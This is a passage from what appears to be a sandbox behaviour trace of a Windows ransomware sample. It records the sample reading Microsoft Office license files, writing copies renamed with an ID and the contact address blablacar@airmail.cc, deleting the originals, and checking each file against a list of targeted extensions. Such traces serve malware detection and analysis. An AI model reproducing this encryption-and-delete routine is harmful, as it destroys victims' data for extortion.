Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1 [0194.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.130] lstrlenW (lpString=".doc") returned 4 [0194.130] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".docx") returned 5 [0194.130] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.130] lstrlenW (lpString=".pdf") returned 4 [0194.130] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".xls") returned 4 [0194.130] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".xlsx") returned 5 [0194.130] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.130] lstrlenW (lpString=".ppt") returned 4 [0194.130] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.130] lstrlenW (lpString=".zip") returned 4 [0194.130] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".rar") returned 4 [0194.130] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".bz2") returned 4 [0194.130] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.130] lstrlenW (lpString=".7z") returned 3 [0194.130] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.130] lstrlenW (lpString=".dbf") returned 4 [0194.131] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.131] lstrlenW (lpString=".1cd") returned 4 [0194.131] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.131] lstrlenW (lpString=".jpg") returned 4 [0194.131] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.131] lstrlenW (lpString=".doc") returned 4 [0194.131] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString=".docx") returned 5 [0194.131] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.131] lstrlenW (lpString=".pdf") returned 4 [0194.131] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString=".xls") returned 4 [0194.131] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString=".xlsx") returned 5 [0194.131] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.131] lstrlenW (lpString=".ppt") returned 4 [0194.131] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.131] lstrlenW (lpString=".zip") returned 4 [0194.131] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString=".rar") returned 4 [0194.131] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString=".bz2") returned 4 [0194.131] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.131] lstrlenW (lpString=".7z") returned 3 [0194.132] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.132] lstrlenW (lpString=".dbf") returned 4 [0194.132] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.132] lstrlenW (lpString=".1cd") returned 4 [0194.132] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0194.132] lstrlenW (lpString=".jpg") returned 4 [0194.132] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.132] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.132] lstrlenW (lpString="ExcelVL_MAK-pl.xrm-ms") returned 21 [0194.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.133] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10619) returned 1 [0194.133] CloseHandle (hObject=0x3f8) returned 1 [0194.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0194.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.134] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.134] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0194.135] GetLastError () returned 0x0 [0194.135] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x297b, lpOverlapped=0x0) returned 1 [0194.137] WriteFile (in: hFile=0x3e4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2980, lpOverlapped=0x0) returned 1 [0194.138] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.138] WriteFile (in: hFile=0x3e4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xfe, lpOverlapped=0x0) returned 1 [0194.138] SetEndOfFile (hFile=0x3e4) returned 1 [0194.138] CloseHandle (hObject=0x3e4) returned 1 [0194.138] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.139] SetEndOfFile (hFile=0x3f8) returned 1 [0194.142] CloseHandle (hObject=0x3f8) returned 1 [0194.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1 [0194.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.144] lstrlenW (lpString=".doc") returned 4 [0194.144] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.144] lstrlenW (lpString=".docx") returned 5 [0194.144] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.144] lstrlenW (lpString=".pdf") returned 4 [0194.144] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.144] lstrlenW (lpString=".xls") returned 4 [0194.144] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.144] lstrlenW (lpString=".xlsx") returned 5 [0194.144] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.145] lstrlenW (lpString=".ppt") returned 4 [0194.145] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.145] lstrlenW (lpString=".zip") returned 4 [0194.145] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.145] lstrlenW (lpString=".rar") returned 4 [0194.145] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.145] lstrlenW (lpString=".bz2") returned 4 [0194.145] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.145] lstrlenW (lpString=".7z") returned 3 [0194.145] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.145] lstrlenW (lpString=".dbf") returned 4 [0194.145] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.145] lstrlenW (lpString=".1cd") returned 4 [0194.145] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.145] lstrlenW (lpString=".jpg") returned 4 [0194.145] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.145] lstrlenW (lpString=".doc") returned 4 [0194.145] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.145] lstrlenW (lpString=".docx") returned 5 [0194.145] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.145] lstrlenW (lpString=".pdf") returned 4 [0194.145] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.146] lstrlenW (lpString=".xls") returned 4 [0194.146] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.146] lstrlenW (lpString=".xlsx") returned 5 [0194.146] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.146] lstrlenW (lpString=".ppt") returned 4 [0194.146] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.146] lstrlenW (lpString=".zip") returned 4 [0194.146] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.146] lstrlenW (lpString=".rar") returned 4 [0194.146] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.146] lstrlenW (lpString=".bz2") returned 4 [0194.146] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.146] lstrlenW (lpString=".7z") returned 3 [0194.146] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.146] lstrlenW (lpString=".dbf") returned 4 [0194.146] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.146] lstrlenW (lpString=".1cd") returned 4 [0194.146] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0194.146] lstrlenW (lpString=".jpg") returned 4 [0194.146] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.240] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.240] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25 [0194.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.493] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11576) returned 1 [0194.493] CloseHandle (hObject=0x4d4) returned 1 [0194.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0194.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.494] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.494] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.504] GetLastError () returned 0x0 [0194.504] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d38, lpOverlapped=0x0) returned 1 [0194.506] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0194.508] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.508] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x106, lpOverlapped=0x0) returned 1 [0194.508] SetEndOfFile (hFile=0x4d8) returned 1 [0194.508] CloseHandle (hObject=0x4d8) returned 1 [0194.508] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.508] SetEndOfFile (hFile=0x4d4) returned 1 [0194.513] CloseHandle (hObject=0x4d4) returned 1 [0194.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1 [0194.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.515] lstrlenW (lpString=".doc") returned 4 [0194.515] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.515] lstrlenW (lpString=".docx") returned 5 [0194.515] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.515] lstrlenW (lpString=".pdf") returned 4 [0194.515] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.515] lstrlenW (lpString=".xls") returned 4 [0194.515] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.515] lstrlenW (lpString=".xlsx") returned 5 [0194.515] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.515] lstrlenW (lpString=".ppt") returned 4 [0194.515] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.515] lstrlenW (lpString=".zip") returned 4 [0194.515] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.516] lstrlenW (lpString=".rar") returned 4 [0194.516] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.516] lstrlenW (lpString=".bz2") returned 4 [0194.516] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.516] lstrlenW (lpString=".7z") returned 3 [0194.516] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.516] lstrlenW (lpString=".dbf") returned 4 [0194.516] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.516] lstrlenW (lpString=".1cd") returned 4 [0194.516] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.516] lstrlenW (lpString=".jpg") returned 4 [0194.516] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.516] lstrlenW (lpString=".doc") returned 4 [0194.516] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.516] lstrlenW (lpString=".docx") returned 5 [0194.516] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.516] lstrlenW (lpString=".pdf") returned 4 [0194.517] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.517] lstrlenW (lpString=".xls") returned 4 [0194.517] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.517] lstrlenW (lpString=".xlsx") returned 5 [0194.517] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.517] lstrlenW (lpString=".ppt") returned 4 [0194.517] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.517] lstrlenW (lpString=".zip") returned 4 [0194.517] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.517] lstrlenW (lpString=".rar") returned 4 [0194.517] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.517] lstrlenW (lpString=".bz2") returned 4 [0194.517] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.517] lstrlenW (lpString=".7z") returned 3 [0194.517] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.517] lstrlenW (lpString=".dbf") returned 4 [0194.517] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.517] lstrlenW (lpString=".1cd") returned 4 [0194.517] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0194.517] lstrlenW (lpString=".jpg") returned 4 [0194.517] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.517] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.518] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25 [0194.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.518] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19921) returned 1 [0194.518] CloseHandle (hObject=0x4d4) returned 1 [0194.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0194.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.519] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.519] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.520] GetLastError () returned 0x0 [0194.520] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0194.522] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0194.523] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.523] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x106, lpOverlapped=0x0) 